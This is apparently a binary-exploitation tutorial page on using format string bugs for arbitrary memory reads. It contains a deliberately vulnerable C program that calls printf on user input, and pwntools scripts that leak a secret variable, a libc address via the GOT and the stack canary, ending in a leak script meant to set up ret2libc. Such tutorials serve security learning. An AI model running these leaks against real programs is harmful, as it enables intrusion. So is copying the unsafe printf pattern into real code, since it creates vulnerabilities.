> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/14.-arbitary-read-write/read.md).

# 0x12 — Arbitrary Read Using Format String Vulnerability

## Overview

An **arbitrary read** via format string lets you read the contents of **any memory address** — including stack canaries, saved return addresses, libc pointers, heap contents, and global variables.

This is typically used to:

* Leak libc addresses (defeat ASLR)
* Leak stack canaries (bypass stack protector)
* Read out secret values, flags, or credentials

***

## The `%s` Specifier

`%s` tells `printf` to interpret the corresponding argument as a **pointer to a string** and dereference it.

So if the stack at offset 7 holds the value `0x601040`, then:

```
%7$s  →  printf dereferences 0x601040 and prints bytes until null
```

This is your read primitive.

***

## Strategy

1. Find your buffer's offset in the format string (as covered in 0x11)
2. Place the target address in your input buffer
3. Use `%N$s` where N is the offset pointing to your address
4. `printf` dereferences it and prints the memory contents

***

## Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int secret = 0xcafebabe;

void vuln() {
    char buf[256];
    printf("Input: ");
    fgets(buf, 256, stdin);
    printf(buf);            // format string vulnerability
}

int main() {
    vuln();
    return 0;
}
```

Compile:

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

***

## Step 1: Find Your Buffer Offset

```python
from pwn import *

p = process('./vuln')

# Marker: AAAA = 0x41414141
payload = b'AAAA.' + b'%p.' * 30
p.sendlineafter(b'Input: ', payload)
output = p.recvall(timeout=1)
print(output)
```

Find `0x41414141` in the output. Say it appears at position 8 → **offset = 8**.

Alternatively, use pwntools FmtStr:

```python
from pwn import *

def send_fmt(payload):
    p = process('./vuln')
    p.sendlineafter(b'Input: ', payload)
    response = p.recvall(timeout=1)
    p.close()
    return response

fmt = FmtStr(execute_fmt=send_fmt)
print(fmt.offset)   # prints the offset automatically
```

***

## Step 2: Read a Known Address

### Reading the `secret` variable

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

secret_addr = elf.sym['secret']   # or: nm vuln | grep secret
offset = 8

# Build payload: [address][format_specifier]
# On 64-bit, we place the address AFTER the format string to avoid null byte issues
payload = f'%{offset + 1}$s|||'.encode() + p64(secret_addr)

p.sendlineafter(b'Input: ', payload)
data = p.recvuntil(b'|||')
print(f"Secret bytes: {data[:4].hex()}")
print(f"Secret value: {hex(u32(data[:4]))}")
```

***

## 64-bit Address Placement Problem

On x86-64, addresses like `0x601040` contain a **null byte** (`0x00`) at the high bytes. Since `printf` stops at null bytes when reading the format string, placing the address **before** the format specifier kills the payload.

**Solution**: Place the address **at the end** of the payload.

```
Layout:  [format_specifiers][padding if needed][address]
Example: %11$s|||<8-byte address>
```

The format specifiers are read by printf before it hits the null bytes in the address.

***

## Step 3: Leak a libc Address (Defeating ASLR)

The GOT holds resolved libc addresses. Reading a GOT entry gives you a libc runtime address.

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

offset = 8
got_puts = elf.got['puts']

# Read 8 bytes at puts@got
# We want offset to point to our address — calculate exact position
# payload = format_string + padding + address
# format string = 6 bytes ("%8$s||"), address starts at position aligned to 8 bytes

def read_addr(addr):
    fmt = f'%{offset}$s|||'.encode()
    # Padding to align address to 8 bytes
    padding = b'A' * (8 - len(fmt) % 8) if len(fmt) % 8 != 0 else b''
    payload = fmt + padding + p64(addr)
    p.sendlineafter(b'Input: ', payload)
    data = p.recvuntil(b'|||')[:-3]   # strip the ||| marker
    return data

leaked = read_addr(got_puts).ljust(8, b'\x00')
leaked_addr = u64(leaked)
log.success(f"Leaked puts: {hex(leaked_addr)}")

libc_base = leaked_addr - libc.sym['puts']
log.success(f"libc base:  {hex(libc_base)}")
```

***

## Step 4: Leak a Stack Canary

If the binary has a stack canary, you can leak it via format string:

```python
# The canary is typically accessible as a stack value
# It usually ends in 00 (null byte on the low byte)
# Look for it in the %p dump near your saved RBP

for i in range(1, 30):
    p = process('./vuln')
    payload = f'%{i}$p'.encode()
    p.sendlineafter(b'Input: ', payload)
    val = p.recvline().strip().decode()
    p.close()
    # Canary ends in '00' (low byte is null)
    if val.endswith('00') and val.startswith('0x') and len(val) == 18:
        print(f"Possible canary at offset {i}: {val}")
```

***

## Using pwntools `fmtstr_payload`

For complex scenarios, pwntools can build format string payloads automatically:

```python
from pwn import *

# Auto-build an arbitrary read is manual, but writes are automated:
# fmtstr_payload(offset, {addr: value})  — for writes (covered in 0x13)
```

For reads, the manual approach above is standard.

***

## Complete Exploit: Leak + Shell

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.binary = elf

offset = 8

def leak_got(got_entry):
    p = process('./vuln')
    fmt = f'%{offset}$s|||'.encode()
    pad = b'A' * ((8 - len(fmt) % 8) % 8)
    payload = fmt + pad + p64(got_entry)
    p.sendlineafter(b'Input: ', payload)
    data = p.recvuntil(b'|||')[:-3]
    p.close()
    return u64(data.ljust(8, b'\x00'))

leaked = leak_got(elf.got['puts'])
libc.address = leaked - libc.sym['puts']

log.success(f"puts @ {hex(leaked)}")
log.success(f"libc @ {hex(libc.address)}")

# Now use this libc address to build a ret2libc exploit...
```

***

## Summary

| Goal                | Method                              | Specifier Used |
| ------------------- | ----------------------------------- | -------------- |
| Read stack values   | `%N$p` at known offset              | `%p`           |
| Read memory content | Place addr at end, `%N$s`           | `%s`           |
| Leak libc addr      | Read a resolved GOT entry with `%s` | `%s`           |
| Leak canary         | Find canary in `%p` dump            | `%p`           |

***

## Key Takeaways

* `%s` dereferences a pointer and reads memory — your core arbitrary read primitive
* On 64-bit, addresses must go **after** the format specifiers (null byte issue)
* GOT entries are the best targets to leak libc addresses
* Use markers (like `|||`) to cleanly parse the output
* Finding the correct offset is essential — automate it with pwntools or the AAAA technique
